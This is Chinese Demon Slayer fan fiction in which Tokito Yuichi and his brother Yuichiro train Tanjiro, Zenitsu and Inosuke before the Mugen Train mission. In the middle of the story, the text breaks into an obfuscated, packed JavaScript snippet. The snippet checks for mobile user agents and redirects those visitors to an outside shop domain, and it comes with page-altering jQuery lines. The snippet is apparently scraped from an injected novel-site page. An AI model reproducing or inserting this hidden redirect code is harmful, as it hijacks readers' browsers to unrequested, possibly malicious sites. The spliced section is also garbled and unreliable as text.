竟然活着进来了。
我妻善逸缩着肩膀,小心翼翼朝左前方瞥去一眼,又在时透有一郎注意到他前飞快地收回。
时透有一郎双手环胸地倚在门边,表情冷淡,仿佛门神。
“善逸和伊之助,对吧。”
时透悠一目光温和地看向两人。
“嗯,您好......”我妻善逸弱弱地点了点头。
“喂!”
和他状态相反的,嘴平伊之助猛地往前一蹿,一个闪身猛冲到时透悠一面前,“来跟我打架!”
然而,还有人比他快一步。
唰——
时透有一郎身形一晃,直接拦住嘴平伊之助的路线,他皱着眉,面色不虞地说:“云柱大人还在讲话。”
嘴平伊之助:“哈?”
“没关系。”时透悠一轻拍了下有一郎的肩膀。
有一郎顿了顿,绷着脸,乖乖从门边的架子上取下来四把木刀。
一把递给悠一,三把扔向炭治郎他们。
灶门炭治郎道了声谢,解下日轮刀放在一旁,试着挥动木刀,好奇地说:“悠一先生,我们接下来要做什么?”
“唔,接下来......”时透悠一扫过三人,眯起眼睛拍掌说:“你们三个一起朝我进攻吧。”
“诶?”灶门炭治郎和善逸、伊之助面面相觑。
他迟疑问道:“可以吗?”
时透悠一歪了歪头,笑得格外温柔:“当然!”
-
“哦!非常棒的一击哦!如果再加点力气就更好了。”
“很不错的力道,但是这个角度可不太行哦。”
“速度很好。不过......”
时透悠一侧身一转,身边顿时刮过一道金黄色闪电,横冲直撞地砸在墙壁上。
他转了转木刀:“要注意控制啊,这样可打不到鬼哦。”
闪电渐渐消散,我妻善逸保持着一个滑稽的“大”字状,一点点从墙壁上飘了下来。
我妻善逸:@.@,orz
“哎呀。”时透悠一目光扫向身后,“你们俩还行吗?”
灶门炭治郎和嘴平伊之助还气喘吁吁地站着,模样狼狈得很。
伊之助的野猪头套都被打飞了出去,此时正孤零零地躺在墙边。
“是。”炭治郎喘口气,坚定应道。
伊之助压低身形,喊着“啊啊啊啊啊”地再一次冲上去。
时透悠一:“不错。那我们就继续吧。”
-
身体的疲惫程度,目前还在意料之中。
炭治郎抹了把汗。
可问题不在这里。
他看着在伊之助穷追不舍的攻击中依然行动流畅的时透悠一,眼前止不住地发晕。
他们三人联手攻击这么久,整整一个下午,却一下都没有打到时透先生啊!
时透先生都没回过手。
实力差距也太大了。
“好了,今天就先到这里吧。”时透悠一轻盈躲开伊之助的猛扑,手腕一转,用刀背在他的后颈处轻轻一敲。
伊之助仿佛被按到了麻筋,身体僵直,腿上瞬间没了力气,跌跌撞撞地一屁股坐地上去了。
炭治郎也下意识松了口气。
然而在下一秒,全身各处肌肉传来的疲惫感立刻将他整个人都掀翻了过去。
等反应过来的时候,他也一阵腿软,摔坐在地上了。
看着眼前这一幕,时透悠一不由得失笑,他摊了摊手:“看来时间掌握得刚刚好。”
说完,他转向门外,朝门外喊道:“有一郎,帮忙拿些水进来吧。”
话刚说完,门外便传来了动静。
“好的。”时透有一郎声到人到,推着一个装着饭团和水的小推车出现在门口。
“哇,我们真的可以吃吗?”简单清理过后,炭治郎两眼发亮地接过饭团。
刚做好没多久的饭团软糯香甜,勾得人口水直流。
炭治郎正犹豫着呢,他旁边的善逸和伊之助早已飞快得解决掉一个了,异口同声喊道:“请再给我一个/我还要!”
时透悠一:“当然,吃吧。”
吃饱喝足,身体也恢复些力气,三人起身告别。
灶门炭治郎开朗问道:“今天辛苦您了,时透先生。明天我们可以再来吗?”
嘴平伊之助戴好野猪头套:“本大爷明天一定会打到你!”
我妻善逸:“......”
他面无表情地站在一旁,浑身散发着一股“我已经是个废人了”的气息。
时透悠一瞥了眼他的表情,险些没忍住笑出声。
怎么能有人把生无可恋表现得怎么形象啊。
他忍着笑道:“好,明天也要三个人一起来哦。”
啊,现在开始憋脏话了。
关上院门没一会儿,三人吵吵闹闹地说话声便轻而易举得传了进来,隐约间能听到一声“我不想再来了”的哀怨声。
时透悠一终于忍不住笑出声。
“悠一哥?”有一郎好奇道,“怎么了?”
时透悠一低笑着摇了摇头,“没事。都还是小孩子啊。”
有一郎撇撇嘴,“他们都比我大了。”
时透悠一弯下些腰,侧头去和有一郎对视:“嗯。那还是我们有一郎更厉害一些。”
有一郎不好意思地瞥开视线,过了会儿才转回来,问道:“明天可以让我来吗?他们的实力还用不着悠一哥你出手。”
时透悠一直起身,想了想,点头道:“行啊。你们年龄相仿,正好可以多接触接触。”
“就他们......”有一郎轻轻哼了一声,语气中倒是不抗拒。
-
魔鬼!
这对兄弟俩简直就是魔鬼!
我妻善逸抱着刀,瑟瑟发抖地躲在墙角,恨不得直接从墙壁缝里钻出去。
他想念悠一先生了!
“动作太慢了!”
“攻击的时候能不能动动脑子。”
“喂,不要躲在哪里,轮到你了。”
我妻善逸身体一抖,他欲哭无泪地站起身。
下一秒,扎着高马尾,手握木刀,目光凌厉的少年便冲到了他眼前。
时透有一郎喝道:“拿起你的刀,让你过来可不是让你浪费时间的!”
我妻善逸:啊啊啊啊啊!!!
......
这样噩梦般的下午持续了好几天。
悠一先生似乎一直在忙。
灶门炭治郎吃完手中的饭团,目光朝正匆匆朝院门走去的时透悠一看去。
穿着制服,套着羽织,拿上了日轮刀,黑发束成低马尾垂在身后。那只叫小晓的鎹鸦也跟在他身后,翅膀扇得飞快。
炭治郎不由得好奇道:“悠一先生是要去杀鬼吗?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582499|202538||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
有一郎看了眼哥哥的背影,随口应道:“嗯。”
“嗯......”炭治郎身体稍稍后仰,两手撑着上半身,“悠一先生,真的好厉害啊。”
有一郎:“那当然。”
炭治郎笑着仰头看去:“有一郎也很厉害。”
“你和悠一先生虽然用的不是同一个呼吸法,但是感觉都超级像的。啊,味道也很相似哦。”
时透有一郎看他一眼,压了压嘴角:“我们可是亲兄弟。”
灶门炭治郎看着他这副高兴却强压着不表现出来的模样,也忍不住露出一个灿烂的笑容。
-
第二天一早,三人的鎹鸦传达了新任务的消息。
一辆列车上不断有乘客失踪,疑似鬼作怪,需要炭治郎、善逸、伊之助立刻前去,协助炎柱调查并消灭鬼。
于是这日一早,灶门炭治郎特地上门来告别。
时透有一郎正在训练,他打开门:“怎么这么早就过来了?”
灶门炭治郎神采奕奕:“早上好,有一郎!悠一先生在吗?”
时透有一郎靠着门框:“悠一哥在忙,怎么了?”
灶门炭治郎笑道:“我们要去赶任务了,今天之后没办法来训练了。”
“这次的任务还是在一辆列车上,我们还是和炎柱一起去的。”
时透有一郎眉头微动:“是吗,你们可别拖炎柱的后腿哦。”
炭治郎爽朗笑着:“嗯,我们一定会注意的。下次见,有一郎。”
“嗯。”有一郎也朝他挥了挥手,停顿几秒,还是道:“下次见。”
转身走回到屋内。
他走到一个房间前,问道:“悠一哥,我可以进来吗?”
“嗯,来吧。”
时透有一郎推开门,却是一愣:“悠一哥,你也要出门吗?”
时透悠一手上动作不停,疑惑道:“也?”
“炭治郎刚刚过来,他们也被派去无限列车了。”
“啊。”时透悠一恍然,系好腰带:“和杏寿郎一起啊。”
收拾好衣服,他拿上日轮刀,接着道:“有上弦贰的线索了。”
有一郎立刻道:“我现在去收拾东西。”
话还没说完,他已经噔噔噔地跑回房间了。
悠一看着他的背影忍不住摇摇头。
不过,说起来,无一郎也快要回来了。
一想到这个悠一更是头疼。
等无一郎回来看到他和有一郎都不在,估计还得闹腾。
-
“喂喂喂!!那个生物是什么啊!!”嘴平伊之助指着面前那个黑乎乎的超级大铁块,震惊地喊道,“难道是这片土地的主人?!”
我妻善逸无语道:“不,这个是火车。”
灶门炭治郎一本正经地附和:“可能是这片土地的守护神哦。”
我妻善逸崩溃:“炭治郎,这种话就不用接了,我都说这是火车了。”
灶门炭治郎恍然,一拍手掌:“哦!原来鎹鸦说的就是这个啊。”
我妻善逸:“......”
我不要和他们站在一起了,太丢人了。
这么想着,他一边躲着周围人的视线,一边静悄悄地后退几步,然而视线一晃,却忽然看到一个极其熟悉的身影。
我妻善逸使劲揉了揉眼睛:“呐,炭治郎。是我眼花了吗?那边站着的是有一郎吗?”